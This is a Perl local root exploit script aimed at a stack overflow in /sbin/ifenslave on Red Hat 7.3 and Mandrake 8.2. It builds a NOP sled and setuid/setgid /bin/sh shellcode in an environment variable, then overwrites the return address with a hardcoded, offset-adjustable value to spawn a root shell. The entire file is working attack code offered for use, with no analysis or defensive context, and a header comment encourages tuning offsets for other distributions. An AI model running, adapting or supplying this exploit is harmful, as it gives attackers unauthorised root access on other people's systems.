|
#!/usr/bin/perl ###################################################### # rh7.3 & mdk8.2 local exploit # ...based on '0x333slave rh8.0 local exploit (www.0x333.org)' # #It use stack overflow in /sbin/ifenslave. Play with offsets for other #rh\mdk distribs. # # www.dhgroup.org ##################################################### $shellcode = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" . "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" . "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" . "\x80\xe8\xdc\xff\xff\xff/bin/sh"; $size = 100; $size2 = 44; $retaddr = 0xbfffff9c; #tested on rh7.3 and mdk8.2 $nop = "\x90"; $offset = 0; if (@ARGV == 1) { $offset = $ARGV[0]; } for ($i = 0; $i < ($size - length($shellcode) - 4); $i++) { $buffer .= $nop; } for ($i = 0; $i < ($size2); $i++) { $buffer2 .= "A"; } $buffer .= $shellcode; print " retaddr: 0x", sprintf('%lx',($retaddr + $offset)), "\n"; local($ENV{'EVILBUF'}) = $buffer; $newret = pack('l', ($retaddr + $offset)); $buffer2 .= $newret; exec("/sbin/ifenslave $buffer2"); #EOF